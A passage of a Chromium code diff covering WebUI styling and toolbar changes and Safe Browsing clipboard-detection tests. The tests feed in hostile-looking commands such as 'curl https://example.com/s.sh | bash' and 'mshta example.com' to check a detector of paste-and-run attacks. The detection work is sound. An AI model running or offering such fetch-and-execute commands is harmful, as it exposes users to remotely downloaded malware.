-  --event-success-icon-color: var(--google-green-700);
   --event-success-background-color: color-mix(in srgb, var(--google-green-500) 4%, white);
 
   border-bottom: 1px solid var(--cr-scrollable-border-color);
@@ -21,7 +20,6 @@
 @media (prefers-color-scheme: dark) {
   :host {
     --event-type-background-color: var(--google-blue-900);
-    --event-success-icon-color: var(--google-green-700);
     --event-success-background-color: color-mix(in srgb, var(--google-green-500) 10%, black);
   }
 }
@@ -35,7 +33,7 @@
 }
 
 cr-expand-button {
-  padding: 0px 12px;
+  padding: 0 12px;
   --cr-section-vertical-padding: 4px;
 }
 
@@ -102,7 +100,7 @@
 }
 
 .event-description-icon-column cr-icon[icon='cr:check-circle'] {
-  --iron-icon-fill-color: var(--event-success-icon-color);
+  --iron-icon-fill-color: var(--success-icon-color);
 }
 
 .event-description-icon-column cr-icon[icon='cr:warning'] {
@@ -141,7 +139,8 @@
   margin-top: 4px;
 }
 
-pre, code {
+pre,
+code {
   white-space: pre-wrap;
   word-break: break-all;
   background: var(--code-background-color);
diff --git a/chrome/browser/resources/updater/event_list/event_list_item.ts b/chrome/browser/resources/updater/event_list/event_list_item.ts
index 3334f6dd..3593889d 100644
--- a/chrome/browser/resources/updater/event_list/event_list_item.ts
+++ b/chrome/browser/resources/updater/event_list/event_list_item.ts
@@ -78,6 +78,8 @@
   protected eventSummary: string|undefined = undefined;
 
   override willUpdate(changedProperties: PropertyValues<this>) {
+    super.willUpdate(changedProperties);
+
     if (changedProperties.has('event')) {
       this.expanded = false;
       if (this.event !== undefined) {
diff --git a/chrome/browser/resources/updater/updater_shared.css b/chrome/browser/resources/updater/updater_shared.css
index 49dfb053..41a1ea73 100644
--- a/chrome/browser/resources/updater/updater_shared.css
+++ b/chrome/browser/resources/updater/updater_shared.css
@@ -12,6 +12,8 @@
   --card-background-color: var(--google-grey-100);
   --code-background-color: var(--google-grey-100);
   --error-icon-color: var(--google-red-700);
+  --success-icon-color: var(--google-green-700);
+  --warning-icon-color: var(--google-yellow-700);
   --error-background-color: color-mix(in srgb, var(--google-red-500) 4%, white);
 }
 
diff --git a/chrome/browser/resources/updater/updater_state/updater_state.ts b/chrome/browser/resources/updater/updater_state/updater_state.ts
index bc2f8e8..042ed8d 100644
--- a/chrome/browser/resources/updater/updater_state/updater_state.ts
+++ b/chrome/browser/resources/updater/updater_state/updater_state.ts
@@ -10,8 +10,7 @@
 import {CrLitElement} from '//resources/lit/v3_0/lit.rollup.js';
 import type {FilePath} from '//resources/mojo/mojo/public/mojom/base/file_path.mojom-webui.js';
 
-import {BrowserProxyImpl} from '../browser_proxy.js';
-import type {EnterpriseCompanionState, GetEnterpriseCompanionStateResponse, GetUpdaterStatesResponse, UpdaterState} from '../updater_ui.mojom-webui.js';
+import type {EnterpriseCompanionState, UpdaterState} from '../updater_ui.mojom-webui.js';
 
 import {getCss} from './updater_state.css.js';
 import {getHtml} from './updater_state.html.js';
@@ -34,46 +33,19 @@
     };
   }
 
-  protected accessor userUpdaterState: UpdaterState|null = null;
-  protected accessor systemUpdaterState: UpdaterState|null = null;
-  protected accessor enterpriseCompanionState: EnterpriseCompanionState|null =
-      null;
-  protected accessor error: boolean = false;
+  accessor userUpdaterState: UpdaterState|null = null;
+  accessor systemUpdaterState: UpdaterState|null = null;
+  accessor enterpriseCompanionState: EnterpriseCompanionState|null = null;
+  accessor error: boolean = false;
 
   override connectedCallback() {
     super.connectedCallback();
-    this.getUpdaterStates()
-        .then(response => {
-          this.userUpdaterState = response.user;
-          this.systemUpdaterState = response.system;
-        })
-        .catch(() => {
-          this.error = true;
-        });
-    this.getEnterpriseCompanionState()
-        .then(response => {
-          this.enterpriseCompanionState = response.state;
-        })
-        .catch(() => {
-          this.error = true;
-        });
   }
 
   override render() {
     return getHtml.bind(this)();
   }
 
-  private async getUpdaterStates(): Promise<GetUpdaterStatesResponse> {
-    return await BrowserProxyImpl.getInstance().handler.getUpdaterStates();
-  }
-
-  private async getEnterpriseCompanionState():
-      Promise<GetEnterpriseCompanionStateResponse> {
-    return await BrowserProxyImpl.getInstance()
-        .handler.getEnterpriseCompanionState();
-  }
-
-
   protected filePathToString(filePath: FilePath): string {
     if (typeof filePath.path === 'string') {
       return filePath.path;
diff --git a/chrome/browser/resources/user_education_internals/user_education_internals.css b/chrome/browser/resources/user_education_internals/user_education_internals.css
index 2c2d43c8..c8c894d 100644
--- a/chrome/browser/resources/user_education_internals/user_education_internals.css
+++ b/chrome/browser/resources/user_education_internals/user_education_internals.css
@@ -190,7 +190,7 @@
 
 .note {
   font-weight: bold;
-  padding: 4px 0px;
+  padding: 4px 0;
 }
 
 .inline-code {
diff --git a/chrome/browser/resources/webui_browser/app.css b/chrome/browser/resources/webui_browser/app.css
index f4278ddf..d711fa3 100644
--- a/chrome/browser/resources/webui_browser/app.css
+++ b/chrome/browser/resources/webui_browser/app.css
@@ -143,7 +143,7 @@
 #locationIcon {
   fill: var(--color-searchbox-foreground);
   stroke: var(--color-searchbox-foreground);
-  stroke-width: 0px;
+  stroke-width: 0;
   stroke-linecap: round;
   shape-rendering: geometricPrecision;
 }
diff --git a/chrome/browser/resources/webui_browser/tab_strip/tab.css b/chrome/browser/resources/webui_browser/tab_strip/tab.css
index e5e41320..4f1c700 100644
--- a/chrome/browser/resources/webui_browser/tab_strip/tab.css
+++ b/chrome/browser/resources/webui_browser/tab_strip/tab.css
@@ -13,7 +13,7 @@
     flex-grow: 1;
     flex-basis: 0;
     max-width: 233px;
-    min-width: 0px;
+    min-width: 0;
 }
 
 .tab {
@@ -32,6 +32,7 @@
     background-color: var(--color-tab-background-highlighted);
     transition: background-color 100ms ease-in-out;
 }
+
 :host(:not([drag-in-progress]):not([active])) .tab:not(:hover) {
     transition: background-color 300ms ease-in-out;
 }
diff --git a/chrome/browser/resources/webui_browser/tab_strip/tab_strip.css b/chrome/browser/resources/webui_browser/tab_strip/tab_strip.css
index 2ce82a8..207b92c 100644
--- a/chrome/browser/resources/webui_browser/tab_strip/tab_strip.css
+++ b/chrome/browser/resources/webui_browser/tab_strip/tab_strip.css
@@ -8,28 +8,29 @@
  * #css_wrapper_metadata_end */
 
 #tabstrip {
-    /* Make the window frame draggable.
-    * Children elements need to use "app-region: no-drag" to
-    * be excluded from the dragging area */
-    -webkit-app-region: drag;
+  /* Make the window frame draggable.
+  * Children elements need to use "app-region: no-drag" to
+  * be excluded from the dragging area */
+  -webkit-app-region: drag;
 
-    display: flex;
-    align-items: end;
-    margin-left: 12px;
-    margin-top: 7px;
+  display: flex;
+  align-items: end;
+  margin-left: 12px;
+  margin-top: 7px;
 }
 
 #tabstrip.nodrag {
-    -webkit-app-region: no-drag;
+  -webkit-app-region: no-drag;
 }
 
-#newTabButton, webui-browser-tab {
-    -webkit-app-region: no-drag;
+#newTabButton,
+webui-browser-tab {
+  -webkit-app-region: no-drag;
 }
 
 #newTabButton {
-    margin: 3px 10px;
-    --cr-icon-button-icon-size: 18px;
-    --cr-icon-button-size: 28px;
-    --cr-icon-button-margin-end: 8px;
+  margin: 3px 10px;
+  --cr-icon-button-icon-size: 18px;
+  --cr-icon-button-size: 28px;
+  --cr-icon-button-margin-end: 8px;
 }
diff --git a/chrome/browser/resources/webui_gallery/demos/cr_input/cr_input_demo.html.ts b/chrome/browser/resources/webui_gallery/demos/cr_input/cr_input_demo.html.ts
index 6b7f916..f488ae8 100644
--- a/chrome/browser/resources/webui_gallery/demos/cr_input/cr_input_demo.html.ts
+++ b/chrome/browser/resources/webui_gallery/demos/cr_input/cr_input_demo.html.ts
@@ -89,8 +89,13 @@
       type="text"
       label="Textarea"
       .value="${this.textareaValue_}"
-      @value-changed="${this.onTextareaValueChanged_}">
+      @value-changed="${this.onTextareaValueChanged_}"
+      ?autogrow="${this.autogrowTextarea_}">
   </cr-textarea>
+  <cr-checkbox ?checked="${this.autogrowTextarea_}"
+      @checked-changed="${this.onAutogrowTextareaChanged_}">
+    Autogrow textarea
+  </cr-checkbox>
 
   <div>
     <div>Text input value: ${this.textValue_}</div>
diff --git a/chrome/browser/resources/webui_gallery/demos/cr_input/cr_input_demo.ts b/chrome/browser/resources/webui_gallery/demos/cr_input/cr_input_demo.ts
index 415c3b55..0e3f733d 100644
--- a/chrome/browser/resources/webui_gallery/demos/cr_input/cr_input_demo.ts
+++ b/chrome/browser/resources/webui_gallery/demos/cr_input/cr_input_demo.ts
@@ -3,6 +3,7 @@
 // found in the LICENSE file.
 
 import '//resources/cr_elements/cr_button/cr_button.js';
+import '//resources/cr_elements/cr_checkbox/cr_checkbox.js';
 import '//resources/cr_elements/cr_icon_button/cr_icon_button.js';
 import '//resources/cr_elements/cr_input/cr_input.js';
 import '//resources/cr_elements/cr_textarea/cr_textarea.js';
@@ -34,6 +35,7 @@
 
   static override get properties() {
     return {
+      autogrowTextarea_: {type: Boolean},
       emailValue_: {type: String},
       numberValue_: {type: String},
       pinValue_: {type: String},
@@ -43,6 +45,7 @@
     };
   }
 
+  protected accessor autogrowTextarea_ = false;
   protected accessor emailValue_: string|undefined;
   protected accessor numberValue_: string|undefined;
   protected accessor pinValue_: string|undefined;
@@ -81,6 +84,10 @@
   protected onTextareaValueChanged_(e: CustomEvent<{value: string}>) {
     this.textareaValue_ = e.detail.value;
   }
+
+  protected onAutogrowTextareaChanged_(e: CustomEvent<{value: boolean}>) {
+    this.autogrowTextarea_ = e.detail.value;
+  }
 }
 
 declare global {
diff --git a/chrome/browser/resources/webui_toolbar/app.html.ts b/chrome/browser/resources/webui_toolbar/app.html.ts
index 2ae95579..e833dcdb 100644
--- a/chrome/browser/resources/webui_toolbar/app.html.ts
+++ b/chrome/browser/resources/webui_toolbar/app.html.ts
@@ -12,7 +12,7 @@
 ${this.isReloadButtonEnabled_ ?
   html`<reload-button-app id="reload"></reload-button-app>` : ''}
 ${this.isSplitTabsButtonEnabled_ ?
-  html`<split-tabs-button-app></split-tabs-button-app>` : ''}
+  html`<split-tabs-button-app id="split-tabs"></split-tabs-button-app>` : ''}
 <!--_html_template_end_-->`;
   // clang-format on
 }
diff --git a/chrome/browser/resources/webui_toolbar/app.ts b/chrome/browser/resources/webui_toolbar/app.ts
index 7a44e8b2..20062f58 100644
--- a/chrome/browser/resources/webui_toolbar/app.ts
+++ b/chrome/browser/resources/webui_toolbar/app.ts
@@ -64,11 +64,17 @@
     super.connectedCallback();
 
     this.metricsRecorder_.startObserving();
-    const reload = this.shadowRoot.querySelector<HTMLElement>('#reload');
+    const reload = this.shadowRoot.querySelector<CrLitElement>('#reload');
     if (reload) {
       this.trackedElementManager_.startTracking(
           reload, 'kReloadButtonElementId');
     }
+    const splitTabs =
+        this.shadowRoot.querySelector<CrLitElement>('#split-tabs');
+    if (splitTabs) {
+      this.trackedElementManager_.startTracking(
+          splitTabs, 'kToolbarSplitTabsToolbarButtonElementId');
+    }
   }
 
   /**
@@ -87,13 +93,19 @@
 
   override firstUpdated(changedProperties: PropertyValues<this>) {
     super.firstUpdated(changedProperties);
+    const promises = [];
     const reload = this.shadowRoot.querySelector<CrLitElement>('#reload');
     if (reload) {
-      reload.updateComplete.then(
-          () => this.browserProxy_.handler.onPageInitialized());
-    } else {
-      this.browserProxy_.handler.onPageInitialized();
+      promises.push(reload.updateComplete);
     }
+    const splitTabs =
+        this.shadowRoot.querySelector<CrLitElement>('#split-tabs');
+    if (splitTabs) {
+      promises.push(splitTabs.updateComplete);
+    }
+    Promise.all(promises).then(() => {
+      this.browserProxy_.handler.onPageInitialized();
+    });
   }
 }
 
diff --git a/chrome/browser/resources/webui_toolbar/reload_button.css b/chrome/browser/resources/webui_toolbar/reload_button.css
index 8b34343..b7acfce 100644
--- a/chrome/browser/resources/webui_toolbar/reload_button.css
+++ b/chrome/browser/resources/webui_toolbar/reload_button.css
@@ -18,6 +18,6 @@
   --cr-icon-button-fill-color: var(--color-toolbar-button-icon);
 }
 
-cr-icon-button[displaying-context-menu=true] {
+:host([is-menu-open]) cr-icon-button {
   background-color: var(--cr-active-background-color);
 }
diff --git a/chrome/browser/resources/webui_toolbar/reload_button.html.ts b/chrome/browser/resources/webui_toolbar/reload_button.html.ts
index 4747a87..4f507cd 100644
--- a/chrome/browser/resources/webui_toolbar/reload_button.html.ts
+++ b/chrome/browser/resources/webui_toolbar/reload_button.html.ts
@@ -14,8 +14,7 @@
     aria-haspopup="${this.isMenuEnabled_}"
     @pointerdown="${this.onReloadButtonPointerDown_}"
     @pointerup="${this.onReloadButtonPointerUp_}"
-    @contextmenu="${this.onContextMenu_}"
-    displaying-context-menu="${this.isDisplayingContextMenu_}">
+    @contextmenu="${this.onContextMenu_}">
 </cr-icon-button>
 <!--_html_template_end_-->`;
 }
diff --git a/chrome/browser/resources/webui_toolbar/reload_button.ts b/chrome/browser/resources/webui_toolbar/reload_button.ts
index 41845cc..0c35fa5 100644
--- a/chrome/browser/resources/webui_toolbar/reload_button.ts
+++ b/chrome/browser/resources/webui_toolbar/reload_button.ts
@@ -62,10 +62,10 @@
           if (menuType === ContextMenuType.kReload) {
             switch (state) {
               case ContextMenuState.kVisible:
-                this.isDisplayingContextMenu_ = true;
+                this.isMenuOpen = true;
                 break;
               case ContextMenuState.kHidden:
-                this.isDisplayingContextMenu_ = false;
+                this.isMenuOpen = false;
                 break;
               case ContextMenuState.kUnspecified:
                 assertNotReached();
@@ -91,14 +91,14 @@
 
   static override get properties() {
     return {
-      isDisplayingContextMenu_: {state: true, type: Boolean},
       isLoading_: {state: true, type: Boolean},
+      isMenuOpen: {type: Boolean, reflect: true},
       tooltip_: {state: true, type: String},
     };
   }
 
-  protected accessor isDisplayingContextMenu_: boolean = false;
   protected accessor isLoading_: boolean = false;
+  protected accessor isMenuOpen: boolean = false;
   protected accessor tooltip_: string =
       loadTimeData.getString(RELOAD_BUTTON_TOOLTIP_RELOAD);
   protected accName_: string =
diff --git a/chrome/browser/resources/webui_toolbar/split_tabs_button.css b/chrome/browser/resources/webui_toolbar/split_tabs_button.css
index fc7ba5e2..2ea71b0 100644
--- a/chrome/browser/resources/webui_toolbar/split_tabs_button.css
+++ b/chrome/browser/resources/webui_toolbar/split_tabs_button.css
@@ -62,3 +62,7 @@
   --cr-icon-button-fill-color: var(--color-toolbar-action-item-engaged,
       var(--google-blue-600));
 }
+
+:host([is-menu-open]) cr-icon-button {
+  background-color: var(--cr-active-background-color);
+}
diff --git a/chrome/browser/resources/webui_toolbar/split_tabs_button.ts b/chrome/browser/resources/webui_toolbar/split_tabs_button.ts
index 2d76ce3f..62c7045 100644
--- a/chrome/browser/resources/webui_toolbar/split_tabs_button.ts
+++ b/chrome/browser/resources/webui_toolbar/split_tabs_button.ts
@@ -11,7 +11,7 @@
 import type {PropertyValues} from '//resources/lit/v3_0/lit.rollup.js';
 import {MenuSourceType} from '//resources/mojo/ui/base/mojom/menu_source_type.mojom-webui.js';
 
-import {ContextMenuType, SplitTabActiveLocation, ToolbarButtonType} from './browser_controls_api_data_model.mojom-webui.js';
+import {ContextMenuState, ContextMenuType, SplitTabActiveLocation, ToolbarButtonType} from './browser_controls_api_data_model.mojom-webui.js';
 import {type BrowserProxy, BrowserProxyImpl} from './browser_proxy.js';
 import {getCss} from './split_tabs_button.css.js';
 import {getHtml} from './split_tabs_button.html.js';
@@ -34,12 +34,14 @@
     return {
       isPinned: {type: Boolean},
       isSplit: {type: Boolean, reflect: true},
+      isMenuOpen: {type: Boolean, reflect: true},
       location_: {state: true, type: Number},
     };
   }
 
   protected accessor isPinned: boolean = false;
   protected accessor isSplit: boolean = false;
+  protected accessor isMenuOpen: boolean = false;
   private accessor location_: number = SplitTabActiveLocation.kStart;
   private browserProxy_: BrowserProxy = BrowserProxyImpl.getInstance();
   private listenerIds_: number[] = [];
@@ -60,6 +62,16 @@
               this.isPinned = isPinned;
             }));
 
+    this.listenerIds_.push(
+        this.browserProxy_.callbackRouter.onContextMenuStateChanged.addListener(
+            (menuType: ContextMenuType, state: ContextMenuState) => {
+              if (menuType !== ContextMenuType.kSplitTabsAction &&
+                  menuType !== ContextMenuType.kSplitTabsContext) {
+                return;
+              }
+              this.isMenuOpen = state === ContextMenuState.kVisible;
+            }));
+
     this.browserProxy_.handler.getTabSplitState().then(
         ({isSplit, location}) => {
           this.onTabSplitStatusChanged_(isSplit, location);
diff --git a/chrome/browser/safe_browsing/client_side_detection_host_browsertest.cc b/chrome/browser/safe_browsing/client_side_detection_host_browsertest.cc
index c478e2f..c7a2bae 100644
--- a/chrome/browser/safe_browsing/client_side_detection_host_browsertest.cc
+++ b/chrome/browser/safe_browsing/client_side_detection_host_browsertest.cc
@@ -1248,7 +1248,7 @@
     histogram_tester.ExpectTotalCount(
         "SBClientPhishing.ClipboardCopyApi.PayloadExtraction.TokenCount", 1);
     histogram_tester.ExpectUniqueSample(
-        "SBClientPhishing.ClipboardCopyApi.PayloadExtraction.TokenCount", 4, 1);
+        "SBClientPhishing.ClipboardCopyApi.PayloadExtraction.TokenCount", 3, 1);
     histogram_tester.ExpectUniqueSample(
         "SBClientPhishing.ClipboardCopyApi.PayloadExtraction."
         "SuspiciousTokenCount",
diff --git a/chrome/browser/safe_browsing/client_side_detection_host_unittest.cc b/chrome/browser/safe_browsing/client_side_detection_host_unittest.cc
index 8ec639f..765c804 100644
--- a/chrome/browser/safe_browsing/client_side_detection_host_unittest.cc
+++ b/chrome/browser/safe_browsing/client_side_detection_host_unittest.cc
@@ -2453,8 +2453,10 @@
         autofill::CREDIT_CARD_EXP_MONTH,
         autofill::CREDIT_CARD_VERIFICATION_CODE,
     };
-    std::vector<autofill::FieldType> unknown_field_types(4, autofill::UNKNOWN_TYPE);
-    std::vector<autofill::FieldType> no_server_field_types(4, autofill::NO_SERVER_DATA);
+    std::vector<autofill::FieldType> unknown_field_types(
+        4, autofill::UNKNOWN_TYPE);
+    std::vector<autofill::FieldType> no_server_field_types(
+        4, autofill::NO_SERVER_DATA);
     auto local_field_types =
         has_local_predictions ? cc_field_types : no_server_field_types;
     auto server_field_types =
@@ -2636,8 +2638,7 @@
                         false, 1);
 }
 
-TEST_F(ClientSideDetectionHostCreditCardFormTest,
-       DoesNotProceedDueToSampling) {
+TEST_F(ClientSideDetectionHostCreditCardFormTest, DoesNotProceedDueToSampling) {
   if (base::FeatureList::IsEnabled(kClientSideDetectionKillswitch)) {
     GTEST_SKIP();
   }
@@ -2832,7 +2833,6 @@
       PreClassificationCheckResult::CLASSIFY, 1);
 }
 
-
 TEST_F(ClientSideDetectionHostCreditCardFormTest,
        DoesNotStartPreclassificationOnServerHeuristic) {
   if (base::FeatureList::IsEnabled(kClientSideDetectionKillswitch)) {
@@ -3917,44 +3917,39 @@
       IntelligentScanVerdict returned_intelligent_scan_verdict) {
     EXPECT_CALL(*csd_service_, SendClientReportPhishingRequest(_, _, _))
         .Times(1)
-        .WillOnce(
-            [=, this](
-                std::unique_ptr<ClientPhishingRequest> request,
-                ClientSideDetectionService::ClientReportPhishingRequestCallback
-                    callback,
-                const std::string&) {
-              if (has_expected_brand_and_intent) {
-                EXPECT_EQ(request->intelligent_scan_info().brand(),
-                          example_brand_);
-                EXPECT_EQ(request->intelligent_scan_info().intent(),
-                          example_intent_);
-                EXPECT_EQ(request->intelligent_scan_info().model_version(),
-                          example_model_version_);
-                EXPECT_EQ(request->intelligent_scan_info().model_type(),
-                          IntelligentScanModelType::ON_DEVICE_MODEL);
-              } else {
-                EXPECT_FALSE(request->intelligent_scan_info().has_brand());
-                EXPECT_FALSE(request->intelligent_scan_info().has_intent());
-              }
-              if (expected_no_info_reason.has_value()) {
-                EXPECT_EQ(request->intelligent_scan_info().no_info_reason(),
-                          expected_no_info_reason.value());
-              } else {
-                EXPECT_FALSE(
-                    request->intelligent_scan_info().has_no_info_reason());
-              }
-              if (expected_llama_forced_trigger_info_trigger_url.has_value()) {
-                EXPECT_EQ(
-                    request->llama_forced_trigger_info().trigger_url(),
-                    expected_llama_forced_trigger_info_trigger_url.value());
-              } else {
-                EXPECT_FALSE(
-                    request->llama_forced_trigger_info().has_trigger_url());
-              }
-              std::move(callback).Run(example_url_, returned_is_phishing,
-                                      net::HTTP_OK,
-                                      returned_intelligent_scan_verdict);
-            });
+        .WillOnce([=, this](std::unique_ptr<ClientPhishingRequest> request,
+                            ClientSideDetectionService::
+                                ClientReportPhishingRequestCallback callback,
+                            const std::string&) {
+          if (has_expected_brand_and_intent) {
+            EXPECT_EQ(request->intelligent_scan_info().brand(), example_brand_);
+            EXPECT_EQ(request->intelligent_scan_info().intent(),
+                      example_intent_);
+            EXPECT_EQ(request->intelligent_scan_info().model_version(),
+                      example_model_version_);
+            EXPECT_EQ(request->intelligent_scan_info().model_type(),
+                      IntelligentScanModelType::ON_DEVICE_MODEL);
+          } else {
+            EXPECT_FALSE(request->intelligent_scan_info().has_brand());
+            EXPECT_FALSE(request->intelligent_scan_info().has_intent());
+          }
+          if (expected_no_info_reason.has_value()) {
+            EXPECT_EQ(request->intelligent_scan_info().no_info_reason(),
+                      expected_no_info_reason.value());
+          } else {
+            EXPECT_FALSE(request->intelligent_scan_info().has_no_info_reason());
+          }
+          if (expected_llama_forced_trigger_info_trigger_url.has_value()) {
+            EXPECT_EQ(request->llama_forced_trigger_info().trigger_url(),
+                      expected_llama_forced_trigger_info_trigger_url.value());
+          } else {
+            EXPECT_FALSE(
+                request->llama_forced_trigger_info().has_trigger_url());
+          }
+          std::move(callback).Run(example_url_, returned_is_phishing,
+                                  net::HTTP_OK,
+                                  returned_intelligent_scan_verdict);
+        });
   }
 
   void VerifyExpectedCalls() {
@@ -4792,10 +4787,6 @@
   ClipboardExtractedData ExtractFromPayload(const std::u16string& payload) {
     return csd_host_->ExtractClipboardData(payload);
   }
-
-  std::vector<std::string_view> GetAllSuspiciousTokens() {
-    return csd_host_->GetSuspiciousTokensListForTesting();
-  }
 };
 
 TEST_F(ClientSideDetectionHostClipboardDataTest, EmptyPayload) {
@@ -4810,6 +4801,7 @@
   EXPECT_EQ(0, data.suspicious_tokens_size());
   EXPECT_FALSE(data.is_first_token_suspicious());
   EXPECT_FALSE(data.is_last_token_suspicious());
+  EXPECT_FALSE(data.is_overall_suspicious());
 }
 
 TEST_F(ClientSideDetectionHostClipboardDataTest, SingleSusCommandAtBeginning) {
@@ -4817,6 +4809,7 @@
   EXPECT_THAT(data.suspicious_tokens(), ::testing::ElementsAre("curl"));
   EXPECT_TRUE(data.is_first_token_suspicious());
   EXPECT_FALSE(data.is_last_token_suspicious());
+  EXPECT_FALSE(data.is_overall_suspicious());
 }
 
 TEST_F(ClientSideDetectionHostClipboardDataTest, EchoAndPipe) {
@@ -4824,6 +4817,7 @@
   EXPECT_THAT(data.suspicious_tokens(), ::testing::ElementsAre("bash"));
   EXPECT_FALSE(data.is_first_token_suspicious());
   EXPECT_TRUE(data.is_last_token_suspicious());
+  EXPECT_FALSE(data.is_overall_suspicious());
 }
 
 TEST_F(ClientSideDetectionHostClipboardDataTest, SingleSusCommandAtEnd) {
@@ -4831,46 +4825,70 @@
   EXPECT_THAT(data.suspicious_tokens(), ::testing::ElementsAre("wget"));
   EXPECT_FALSE(data.is_first_token_suspicious());
   EXPECT_TRUE(data.is_last_token_suspicious());
+  EXPECT_FALSE(data.is_overall_suspicious());
 }
 
-TEST_F(ClientSideDetectionHostClipboardDataTest, MultipleSusCommands) {
+TEST_F(ClientSideDetectionHostClipboardDataTest, SuspiciousCommand) {
   ClipboardExtractedData data =
-      ExtractFromPayload(u"curl example.com | bash -c 'ls'");
-  EXPECT_THAT(data.suspicious_tokens(), ::testing::ElementsAre("curl", "bash"));
-  EXPECT_TRUE(data.is_first_token_suspicious());
-  EXPECT_FALSE(data.is_last_token_suspicious());
-}
-
-TEST_F(ClientSideDetectionHostClipboardDataTest, MixedCaseAndPaths) {
-  ClipboardExtractedData data = ExtractFromPayload(u"cUrL /usr/bin/BaSh.exe");
+      ExtractFromPayload(u"curl https://example.com/s.sh | bash");
   EXPECT_THAT(data.suspicious_tokens(), ::testing::ElementsAre("curl", "bash"));
   EXPECT_TRUE(data.is_first_token_suspicious());
   EXPECT_TRUE(data.is_last_token_suspicious());
+  EXPECT_EQ(data.payload_length(), 36);
+  EXPECT_EQ(data.total_parsed_tokens(), 3);
+  EXPECT_EQ(data.urls_size(), 1);
+  EXPECT_TRUE(data.is_overall_suspicious());
 }
 
-TEST_F(ClientSideDetectionHostClipboardDataTest, WithSemicolons) {
-  ClipboardExtractedData data =
-      ExtractFromPayload(u"cmd /c echo hello; powershell -command 'dir'");
-  EXPECT_THAT(data.suspicious_tokens(), ::testing::ElementsAre("cmd", "powershell"));
+TEST_F(ClientSideDetectionHostClipboardDataTest, MissingRunner) {
+  // Loader + URL, but no runner.
+  ClipboardExtractedData data = ExtractFromPayload(u"curl https://example.com");
+  EXPECT_EQ(1, data.suspicious_tokens_size());
+  EXPECT_FALSE(data.is_overall_suspicious());
+}
+
+TEST_F(ClientSideDetectionHostClipboardDataTest, MissingURL) {
+  // Loader + Runner, but no URL.
+  ClipboardExtractedData data = ExtractFromPayload(u"echo hello | bash");
+  EXPECT_EQ(1, data.suspicious_tokens_size());
+  EXPECT_FALSE(data.is_overall_suspicious());
+}
+
+TEST_F(ClientSideDetectionHostClipboardDataTest, RemoteRunner) {
+  // Remote runner satisfies loader and runner.
+  ClipboardExtractedData data = ExtractFromPayload(u"mshta example.com");
+  EXPECT_THAT(data.suspicious_tokens(), ::testing::ElementsAre("mshta"));
   EXPECT_TRUE(data.is_first_token_suspicious());
-  EXPECT_FALSE(data.is_last_token_suspicious());
+  EXPECT_EQ(data.urls_size(), 1);
+  EXPECT_TRUE(data.is_overall_suspicious());
+}
+
+TEST_F(ClientSideDetectionHostClipboardDataTest, SubcommandSyntax) {
+  // Subcommand syntax satisfies runner.
+  ClipboardExtractedData data =
+      ExtractFromPayload(u"$(curl http://example.com)");
+  EXPECT_THAT(data.suspicious_tokens(), ::testing::ElementsAre("curl"));
+  EXPECT_EQ(data.urls_size(), 1);
+  EXPECT_TRUE(data.is_overall_suspicious());
+}
+
+TEST_F(ClientSideDetectionHostClipboardDataTest, MixedCaseAndPaths) {
+  ClipboardExtractedData data =
+      ExtractFromPayload(u"cUrL https://example.com/s /usr/bin/BaSh.exe");
+  EXPECT_THAT(data.suspicious_tokens(), ::testing::ElementsAre("curl", "bash"));
+  EXPECT_TRUE(data.is_first_token_suspicious());
+  EXPECT_TRUE(data.is_last_token_suspicious());
+  EXPECT_TRUE(data.is_overall_suspicious());
 }
 
 TEST_F(ClientSideDetectionHostClipboardDataTest, MixedDelimiters) {
   ClipboardExtractedData data =
-      ExtractFromPayload(u"curl\tbash\rwget\npowershell;cmd");
-  EXPECT_THAT(data.suspicious_tokens(), ::testing::ElementsAre("curl", "bash", "wget", "powershell", "cmd"));
+      ExtractFromPayload(u"curl\thttps://e.com\rwget\nhttp://b.com|bash;cmd");
+  EXPECT_THAT(data.suspicious_tokens(),
+              ::testing::ElementsAre("curl", "wget", "bash", "cmd"));
   EXPECT_TRUE(data.is_first_token_suspicious());
   EXPECT_TRUE(data.is_last_token_suspicious());
-}
-
-TEST_F(ClientSideDetectionHostClipboardDataTest, AllSusTokens) {
-  std::vector<std::string_view> all_tokens = GetAllSuspiciousTokens();
-  ClipboardExtractedData data =
-      ExtractFromPayload(base::UTF8ToUTF16(base::JoinString(all_tokens, " ")));
-  EXPECT_EQ(all_tokens.size(), size_t(data.suspicious_tokens_size()));
-  EXPECT_TRUE(data.is_first_token_suspicious());
-  EXPECT_TRUE(data.is_last_token_suspicious());
+  EXPECT_TRUE(data.is_overall_suspicious());
 }
 
 }  // namespace safe_browsing
diff --git a/chrome/browser/search_engines/android/BUILD.gn b/chrome/browser/search_engines/android/BUILD.gn
index 905beb9..6f63a15 100644
--- a/chrome/browser/search_engines/android/BUILD.gn
+++ b/chrome/browser/search_engines/android/BUILD.gn
@@ -20,6 +20,7 @@
     "java/src/org/chromium/chrome/browser/search_engines/choice_screen/ChoiceDialogCoordinator.java",
     "java/src/org/chromium/chrome/browser/search_engines/choice_screen/ChoiceDialogMediator.java",
     "java/src/org/chromium/chrome/browser/search_engines/settings/SearchEngineAdapter.java",
+    "java/src/org/chromium/chrome/browser/search_engines/settings/SearchEngineIconUtils.java",
     "java/src/org/chromium/chrome/browser/search_engines/settings/SearchEngineSettings.java",
     "java/src/org/chromium/chrome/browser/search_engines/settings/SiteSearchSettings.java",
     "java/src/org/chromium/chrome/browser/search_engines/settings/custom_search_engine/CustomSearchEngineListPreference.java",
diff --git a/chrome/browser/search_engines/android/java/src/org/chromium/chrome/browser/search_engines/settings/SearchEngineAdapter.java b/chrome/browser/search_engines/android/java/src/org/chromium/chrome/browser/search_engines/settings/SearchEngineAdapter.java
index 3ca58796f..8e6fc07 100644
--- a/chrome/browser/search_engines/android/java/src/org/chromium/chrome/browser/search_engines/settings/SearchEngineAdapter.java
+++ b/chrome/browser/search_engines/android/java/src/org/chromium/chrome/browser/search_engines/settings/SearchEngineAdapter.java
@@ -37,19 +37,15 @@
 import org.chromium.chrome.browser.regional_capabilities.RegionalCapabilitiesServiceFactory;
 import org.chromium.chrome.browser.search_engines.R;
 import org.chromium.chrome.browser.search_engines.TemplateUrlServiceFactory;
-import org.chromium.chrome.browser.ui.favicon.FaviconUtils;
 import org.chromium.components.browser_ui.widget.containment.ContainerStyle;
 import org.chromium.components.browser_ui.widget.containment.ContainmentItemController;
 import org.chromium.components.browser_ui.widget.containment.ContainmentViewStyler;
 import org.chromium.components.favicon.LargeIconBridge;
-import org.chromium.components.favicon.LargeIconBridge.GoogleFaviconServerCallback;
-import org.chromium.components.favicon.LargeIconBridge.LargeIconCallback;
 import org.chromium.components.omnibox.OmniboxFeatures;
 import org.chromium.components.regional_capabilities.RegionalCapabilitiesService;
